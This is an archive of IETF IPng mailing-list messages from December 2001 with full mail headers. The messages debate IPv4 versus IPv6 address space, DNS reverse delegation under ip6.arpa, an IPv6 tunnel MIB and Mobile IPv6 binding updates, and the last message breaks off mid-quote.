"ryan elson" To: Sent: Saturday, December 01, 2001 12:39 PM Subject: Re: "one true protocol" > it would be nice if address space were a little more free. Does it make sense to anyone that > $100 is a fair price for a lousy name? IPv4 and IPv6 both be damned, the US government seems to > think that it can only run tld's, the ignorant company (well this used to be the case) named > internic thought it could run a monopoly from this. Both the IETF and ICANN be damned. Same > with the W3C and all organisations that have been invented to make the internet. Do you know > how bleak the future of the world looks right now? We are going to eventually spend more > resources tearing down our little mistakes than it will take to build new things. The emphasis > is not being put on good design, but rather, backwards compatability and stupid multi-platform > standards. The W3C must've lacked that vision when they meddled with internet standards enough > to make the job of a webdesigner something closer to rocket science since they have to learn 5 > languages just to scrape by (flash, java, asp/cold fusion, COM+, html/dhtml/xml). It's > completely rediculous. These organisations are supposed to make things better and instead the > only thing they accomplish is to thwart future progress by not thinking of the future quite > enough. So here's a thanks to the moron that pushed IPv4 to become the internet when they > should have realized that the limits on address space could easily be surpassed, here's to the > idiots at the w3c who can't even get browsers to support alpha transparancy, or the idiots who > invented flash which has a high learning curve only because of it's poorly designed buggy > interface. It is beyond me why some animations in flash require a 600mhz computer, seems a > little wasteful on processing power for the limited amount of effects that are produced by it. > The computers we have today are capable of so much more, why is it that the best thing we are > able to do when it comes to getting new standards is shooting ourselves in the foot? > You know your mistakes are going to come and bite you in the ass sooner or later. Make things > dynamic enough so that they NEVER need to be changed, do not use any constants (for instance, > maximum addresses) at all. I read all of what is contributed on this list, I think it is > irresponsible of ipng to consider doing anything less if they want to be taken seriously. I > don't take things seriously when your ip protocol is not flexible enough to adapt to different > situations rather than have to tear apart an entire network just to get a new protocol on it. > It's too late with IPv4, and it's too late with IPv6 it seems...your minds are already set, you > don't think that however 100 billion addresses will not be all in use sometime? Is it so > inconceivable? Well then I hope you enjoy bearing the responsibility of not being so much of a > professional in your recommendations for the IP protocol when people are busy ripping down your > networks half a decade down the road because of something that should have been properly > designed. Shame on the idiots who made that mistake in the past with IPv4, shame on the idiots > who are making the same mistake again. > > > Jim Fleming wrote: > > > When people use alternate TLDs, they are labeled "alt" and people > > declare that those people are not connected to *THE* Internet. > > The "alt people" are ridiculed for having a small share of the market. > > Some people tell the "alt people" to run along and find another sand-box > > to play in. This does not seem to happen with IPv6 sales people. > > > > It has been confirmed by IPv6 users that they are not connected to > > the Internet. IPv4 systems can not talk to native IPv6 systems. It would > > appear that IPv6 is some sort of "alt protocol" movement. The IPv6 > > people have their own root-servers, yet, ICANN and the IETF claim > > that there can only be one true-root. IPv6 sales people do not seem to > > be concerned about this. IPv6 sales people also do not seem to be > > concerned about the IPv6 Privacy Problem. > > > > While all of this is going on, IPv4 users are quite happy and can now > > expand their addressing with no change required to the equipment that > > connects them. The .BIZ TLD is now considered not to be "alt", it once > > was. It appears that the "consensus" of the Internet community is to move > > forward with the evolution of IPv4. There is a lot of room for expansion. > > The "alt protocol" people appear to be determined to fragment the > > Internet. > > > > It is unclear why ICANN and the IETF do not declare that > > there is "one true protocol" along with their "one true root". > > Maybe that would lead to the declaration that there is > > "one true address space" ? > > > > Jim Fleming > > http://www.IPv8.info > > > > ----- Original Message ----- > > From: "Perry E. Metzger" > > To: ; <6bone@isi.edu>; ; > > Sent: Saturday, December 01, 2001 2:45 AM > > Subject: ad hoc list created to discuss v6 usage measurement > > > > > > > > I've been trying to get a bunch of statistics together on v6 usage > > > growth and have found that few people are collecting serious > > > statistics. I thought I'd start a small discussion on the subject -- > > > accurate statistics are important to demonstrate that v6 is indeed > > > deploying and that people should spend time and money on preparing and > > > deploying their own networks. > > > > > > I've set up an ad hoc list, "metrics@ipv6.org" to host the > > > discussion. Subscribe via majordomo@ipv6.org. > > > > > > Perry > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 11:06:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1J621V024281 for ; Sat, 1 Dec 2001 11:06:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1J62mJ024280 for ipng-dist; Sat, 1 Dec 2001 11:06:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1J5w1V024273 for ; Sat, 1 Dec 2001 11:05:58 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA08074 for ; Sat, 1 Dec 2001 11:05:57 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA03022 for ; Sat, 1 Dec 2001 12:05:56 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1J5iH28759; Sat, 1 Dec 2001 21:05:47 +0200 Date: Sat, 1 Dec 2001 21:05:44 +0200 (EET) From: Pekka Savola To: ryan elson cc: Subject: Re: "one true protocol" In-Reply-To: <3C0923F6.E88FD0C7@cgocable.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, Please keep Jim Fleming in Cc: in threads initiated by Mr. Fleming. That way our filters have better chance of "storing" these threads to where they belong to. On Sat, 1 Dec 2001, ryan elson wrote: > it would be nice if address space were a little more free. Does it make sense to anyone that > $100 is a fair price for a lousy name? IPv4 and IPv6 both be damned, the US government seems to > think that it can only run tld's, the ignorant company (well this used to be the case) named > internic thought it could run a monopoly from this. Both the IETF and ICANN be damned. Same > with the W3C and all organisations that have been invented to make the internet. Do you know > how bleak the future of the world looks right now? We are going to eventually spend more > resources tearing down our little mistakes than it will take to build new things. The emphasis > is not being put on good design, but rather, backwards compatability and stupid multi-platform > standards. The W3C must've lacked that vision when they meddled with internet standards enough > to make the job of a webdesigner something closer to rocket science since they have to learn 5 > languages just to scrape by (flash, java, asp/cold fusion, COM+, html/dhtml/xml). It's > completely rediculous. These organisations are supposed to make things better and instead the > only thing they accomplish is to thwart future progress by not thinking of the future quite > enough. So here's a thanks to the moron that pushed IPv4 to become the internet when they > should have realized that the limits on address space could easily be surpassed, here's to the > idiots at the w3c who can't even get browsers to support alpha transparancy, or the idiots who > invented flash which has a high learning curve only because of it's poorly designed buggy > interface. It is beyond me why some animations in flash require a 600mhz computer, seems a > little wasteful on processing power for the limited amount of effects that are produced by it. > The computers we have today are capable of so much more, why is it that the best thing we are > able to do when it comes to getting new standards is shooting ourselves in the foot? > You know your mistakes are going to come and bite you in the ass sooner or later. Make things > dynamic enough so that they NEVER need to be changed, do not use any constants (for instance, > maximum addresses) at all. I read all of what is contributed on this list, I think it is > irresponsible of ipng to consider doing anything less if they want to be taken seriously. I > don't take things seriously when your ip protocol is not flexible enough to adapt to different > situations rather than have to tear apart an entire network just to get a new protocol on it. > It's too late with IPv4, and it's too late with IPv6 it seems...your minds are already set, you > don't think that however 100 billion addresses will not be all in use sometime? Is it so > inconceivable? Well then I hope you enjoy bearing the responsibility of not being so much of a > professional in your recommendations for the IP protocol when people are busy ripping down your > networks half a decade down the road because of something that should have been properly > designed. Shame on the idiots who made that mistake in the past with IPv4, shame on the idiots > who are making the same mistake again. > > > Jim Fleming wrote: > > > When people use alternate TLDs, they are labeled "alt" and people > > declare that those people are not connected to *THE* Internet. > > The "alt people" are ridiculed for having a small share of the market. > > Some people tell the "alt people" to run along and find another sand-box > > to play in. This does not seem to happen with IPv6 sales people. > > > > It has been confirmed by IPv6 users that they are not connected to > > the Internet. IPv4 systems can not talk to native IPv6 systems. It would > > appear that IPv6 is some sort of "alt protocol" movement. The IPv6 > > people have their own root-servers, yet, ICANN and the IETF claim > > that there can only be one true-root. IPv6 sales people do not seem to > > be concerned about this. IPv6 sales people also do not seem to be > > concerned about the IPv6 Privacy Problem. > > > > While all of this is going on, IPv4 users are quite happy and can now > > expand their addressing with no change required to the equipment that > > connects them. The .BIZ TLD is now considered not to be "alt", it once > > was. It appears that the "consensus" of the Internet community is to move > > forward with the evolution of IPv4. There is a lot of room for expansion. > > The "alt protocol" people appear to be determined to fragment the > > Internet. > > > > It is unclear why ICANN and the IETF do not declare that > > there is "one true protocol" along with their "one true root". > > Maybe that would lead to the declaration that there is > > "one true address space" ? > > > > Jim Fleming > > http://www.IPv8.info > > > > ----- Original Message ----- > > From: "Perry E. Metzger" > > To: ; <6bone@isi.edu>; ; > > Sent: Saturday, December 01, 2001 2:45 AM > > Subject: ad hoc list created to discuss v6 usage measurement > > > > > > > > I've been trying to get a bunch of statistics together on v6 usage > > > growth and have found that few people are collecting serious > > > statistics. I thought I'd start a small discussion on the subject -- > > > accurate statistics are important to demonstrate that v6 is indeed > > > deploying and that people should spend time and money on preparing and > > > deploying their own networks. > > > > > > I've set up an ad hoc list, "metrics@ipv6.org" to host the > > > discussion. Subscribe via majordomo@ipv6.org. > > > > > > Perry > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 11:36:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1JaU1V024302 for ; Sat, 1 Dec 2001 11:36:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1JaU4L024301 for ipng-dist; Sat, 1 Dec 2001 11:36:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1JaQ1V024294 for ; Sat, 1 Dec 2001 11:36:26 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA00645 for ; Sat, 1 Dec 2001 11:36:26 -0800 (PST) Received: from fnal.gov (heffalump.fnal.gov [131.225.9.20]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA28295 for ; Sat, 1 Dec 2001 12:36:25 -0700 (MST) Received: from gungnir.fnal.gov ([131.225.80.1]) by smtp.fnal.gov (PMDF V6.0-24 #37519) with ESMTP id <0GNO00AL9JSOJP@smtp.fnal.gov> for ipng@sunroof.eng.sun.com; Sat, 01 Dec 2001 13:36:24 -0600 (CST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.10.2+Sun/8.10.2) with ESMTP id fB1JaNl18545; Sat, 01 Dec 2001 13:36:23 -0600 (CST) Date: Sat, 01 Dec 2001 13:36:23 -0600 From: Matt Crawford Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-reply-to: "01 Dec 2001 14:18:11 +0200." To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Message-id: <200112011936.fB1JaNl18545@gungnir.fnal.gov> Content-id: <18541.1007235383.1@gungnir.fnal.gov> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Why do you suggest illegal DNS strings? Why not use a dash or a dot? Underscores are illegal in *hostnames*, but not elsewhere in DNS. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 05:23:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB2DNAHt026180 for ; Sun, 2 Dec 2001 05:23:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB2DN9NB026179 for ipng-dist; Sun, 2 Dec 2001 05:23:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB2DN6Ht026172 for ; Sun, 2 Dec 2001 05:23:06 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA29739 for ; Sun, 2 Dec 2001 05:22:03 -0800 (PST) Received: from exchange.Ic4ic.com ([194.90.135.194]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id GAA29101 for ; Sun, 2 Dec 2001 06:21:42 -0700 (MST) Received: through eSafe SMTP Relay 1007278189; Sun Dec 02 15:23:41 2001 Subject: IP Tunnel MIB Date: Sun, 2 Dec 2001 15:22:01 +0200 Message-ID: <88BC9E379956AE4DB689CC5FF6F5A43D15C836@exchange.Ic4ic.com> MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1255" X-MS-Has-Attach: X-MS-TNEF-Correlator: content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Thread-Topic: IP Tunnel MIB Thread-Index: AcF7NFPYZqNVKggVS6eW3rede5TBXQ== From: "Daniel Feldman" To: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB2DN6Ht026173 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dear IPNG and L2TP groups, RFC 2667 deals with IP Tunnel MIB, which is needed for the L2TP MIB. However, it only supports IPv4: "Finally, this MIB does not support tunnels over non-IPv4 networks (including IPv6 networks). Management of such tunnels may be supported by other MIBs." Is there any work on such an MIB? It is required for having L2TP over IPv6... Thanks in advance, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Daniel Feldman System Engineer, IC4IC Ltd. office: +972(4)959-4644 ext. 121 mobile: +972(55)990-299 fax: +972(4)959-4944 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 17:59:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB31xmHt027889 for ; Sun, 2 Dec 2001 17:59:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB31xmLr027888 for ipng-dist; Sun, 2 Dec 2001 17:59:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB31xiHt027881 for ; Sun, 2 Dec 2001 17:59:45 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA05656 for ; Sun, 2 Dec 2001 17:59:43 -0800 (PST) Received: from mail4.noc.ntt.co.jp (mail4.noc.ntt.co.jp [210.163.32.59]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA16467 for ; Sun, 2 Dec 2001 17:59:43 -0800 (PST) Received: from ms1-gw.noc.ntt.com (ms1-gw.noc.ntt.com) by mail4.noc.ntt.co.jp (8.9.3/NOC-MAIL1) id KAA25456; Mon, 3 Dec 2001 10:59:36 +0900 (JST) Received: from mr1-gw.noc.ntt.com by ms1-gw.noc.ntt.com (8.9.3/3.7W) id KAA06031; Mon, 3 Dec 2001 10:59:35 +0900 (JST) Received: from mail1.noc.ntt.com by mr1-gw.noc.ntt.com (8.9.3/3.7W) id KAA06011; Mon, 3 Dec 2001 10:59:33 +0900 (JST) Received: from localhost by mail1.noc.ntt.com (8.9.3/3.7W) id KAA21398; Mon, 3 Dec 2001 10:59:32 +0900 (JST) Date: Mon, 03 Dec 2001 10:58:10 +0900 (JST) Message-Id: <20011203.105810.60854001.yasuhiro@ntt.com> To: bmanning@ISI.EDU, jinmei@isl.rdc.toshiba.co.jp Cc: schild@uni-muenster.de, ipng@sunroof.eng.sun.com, dnsop@cafax.se Subject: Re: reverse delegation under ip6.arpa.? From: SHIRASAKI Yasuhiro In-Reply-To: <200112010045.fB10jiQ03409@zed.isi.edu> References: <200112010045.fB10jiQ03409@zed.isi.edu> X-Mailer: Mew version 1.95b43 on Emacs 20.4 / Mule 4.1 (AOI) Organization: NTT Communications Corp. Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >From the RFC 3152: > 1. Why IP6.ARPA? (snip) > IETF consensus was reached that the IP6.ARPA domain be used for > address to DNS name mapping for the IPv6 address space [RFC2874]. This sentence seems to be encouraging us to implement ip6.arpa and bit-string label described in the RFC2874. This might be a cause of our confusion. > % I'd also like to know the current policy on this. The current status > % is really confusing and can be a serious barrier to deploy IPv6. > % > % Honestly, if we are allowed to live with the current spec > % (i.e. ip6.int. with the nibble format), I'll be really happy. > % However, the transition to ip6.arpa is inevitable, we should be ready > % for this as soon as possible, both in operation and in implementation. > % > % JINMEI, Tatuya > % Communication Platform Lab. > % Corporate R&D Center, Toshiba Corp. > % jinmei@isl.rdc.toshiba.co.jp > > The IETF policy is clear. ip6.arpa. It is also true that this policy was > not based on any technical grounds. That said, the IETF has also depricated > RIP. And there are still some questions about the bitstring format vs nibble > format. So I intend to continue to use the proven format for now, at least > until there are strong technical reasons to migrate. > > -- > --bill -- SHIRASAKI Yasuhiro @ NTT Communications -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 18:17:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB32HaHt027964 for ; Sun, 2 Dec 2001 18:17:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB32HZg2027963 for ipng-dist; Sun, 2 Dec 2001 18:17:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB32HWHt027956 for ; Sun, 2 Dec 2001 18:17:32 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA26800 for ; Sun, 2 Dec 2001 18:17:31 -0800 (PST) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA01033 for ; Sun, 2 Dec 2001 18:17:31 -0800 (PST) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fB32HRg14396; Sun, 2 Dec 2001 18:17:27 -0800 (PST) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id fB32HRM20270; Sun, 2 Dec 2001 18:17:27 -0800 Message-Id: <200112030217.fB32HRM20270@zed.isi.edu> Subject: Re: reverse delegation under ip6.arpa.? To: y.shirasaki@ntt.com (SHIRASAKI Yasuhiro) Date: Sun, 2 Dec 2001 18:17:27 -0800 (PST) Cc: bmanning@ISI.EDU, jinmei@isl.rdc.toshiba.co.jp, schild@uni-muenster.de, ipng@sunroof.eng.sun.com, dnsop@cafax.se In-Reply-To: <20011203.105810.60854001.yasuhiro@ntt.com> from "SHIRASAKI Yasuhiro" at Dec 03, 2001 10:58:10 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk well, that RFC has in incorrect statement. It was not IETF consensus, it was IESG/IAB consensus. It is also true that from the last IETF, bitstring (A6) was moved to experimental status, while nibble (AAAA) was retained on the standards track. % >From the RFC 3152: % % > 1. Why IP6.ARPA? % (snip) % > IETF consensus was reached that the IP6.ARPA domain be used for % > address to DNS name mapping for the IPv6 address space [RFC2874]. % % This sentence seems to be encouraging us to implement ip6.arpa % and bit-string label described in the RFC2874. This might be a % cause of our confusion. % % > % I'd also like to know the current policy on this. The current status % > % is really confusing and can be a serious barrier to deploy IPv6. % > % % > % Honestly, if we are allowed to live with the current spec % > % (i.e. ip6.int. with the nibble format), I'll be really happy. % > % However, the transition to ip6.arpa is inevitable, we should be ready % > % for this as soon as possible, both in operation and in implementation. % > % % > % JINMEI, Tatuya % > % Communication Platform Lab. % > % Corporate R&D Center, Toshiba Corp. % > % jinmei@isl.rdc.toshiba.co.jp % > % > The IETF policy is clear. ip6.arpa. It is also true that this policy was % > not based on any technical grounds. That said, the IETF has also depricated % > RIP. And there are still some questions about the bitstring format vs nibble % > format. So I intend to continue to use the proven format for now, at least % > until there are strong technical reasons to migrate. % > % > -- % > --bill % % -- % SHIRASAKI Yasuhiro @ NTT Communications % -------------------------------------------------------------------- % IETF IPng Working Group Mailing List % IPng Home Page: http://playground.sun.com/ipng % FTP archive: ftp://playground.sun.com/pub/ipng % Direct all administrative requests to majordomo@sunroof.eng.sun.com % -------------------------------------------------------------------- % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 18:30:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB32UfHt028043 for ; Sun, 2 Dec 2001 18:30:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB32UflC028042 for ipng-dist; Sun, 2 Dec 2001 18:30:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB32UbHt028035 for ; Sun, 2 Dec 2001 18:30:37 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA27692 for ; Sun, 2 Dec 2001 18:30:37 -0800 (PST) Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA24891 for ; Sun, 2 Dec 2001 18:30:37 -0800 (PST) Received: from randy by rip.psg.com with local (Exim 3.33 #1) id 16AisI-000Bed-00; Sun, 02 Dec 2001 18:30:30 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: SHIRASAKI Yasuhiro Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se Subject: Re: reverse delegation under ip6.arpa.? References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011203.105810.60854001.yasuhiro@ntt.com> Message-Id: Date: Sun, 02 Dec 2001 18:30:30 -0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> From the RFC 3152: >> 1. Why IP6.ARPA? > (snip) >> IETF consensus was reached that the IP6.ARPA domain be used for >> address to DNS name mapping for the IPv6 address space [RFC2874]. > This sentence seems to be encouraging us to implement ip6.arpa > and bit-string label described in the RFC2874. i don't see where it says anything about bitstring labels. and this is not because the author ran out of ink. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 19:42:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33gTHt028094 for ; Sun, 2 Dec 2001 19:42:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB33gTQh028093 for ipng-dist; Sun, 2 Dec 2001 19:42:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33gPHt028086 for ; Sun, 2 Dec 2001 19:42:25 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA25968 for ; Sun, 2 Dec 2001 19:42:26 -0800 (PST) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id TAA12634 for ; Sun, 2 Dec 2001 19:42:25 -0800 (PST) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA06683; Sun, 2 Dec 2001 22:42:15 -0500 Date: Sun, 2 Dec 2001 22:42:15 -0500 (EST) From: Jim Bound To: Jari Arkko Cc: Pekka Savola , john.loughney@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari, This is pretty simple really. Any app server as CN should support the binding update and the mobile node should support the binding update. Many of us are shipping it soon and it works. AAA will be used for security till the IETF gets done analyzing this and if we have not deployed zillion of nodes vendors will look at it. If they have then the IETF timed out. Lets move on. The draft should recommend using the binding update and route optimization. Or do this as industry exercise and not as standards exercise. regards, /jim On Sat, 1 Dec 2001, Jari Arkko wrote: > > "basic functionality of a 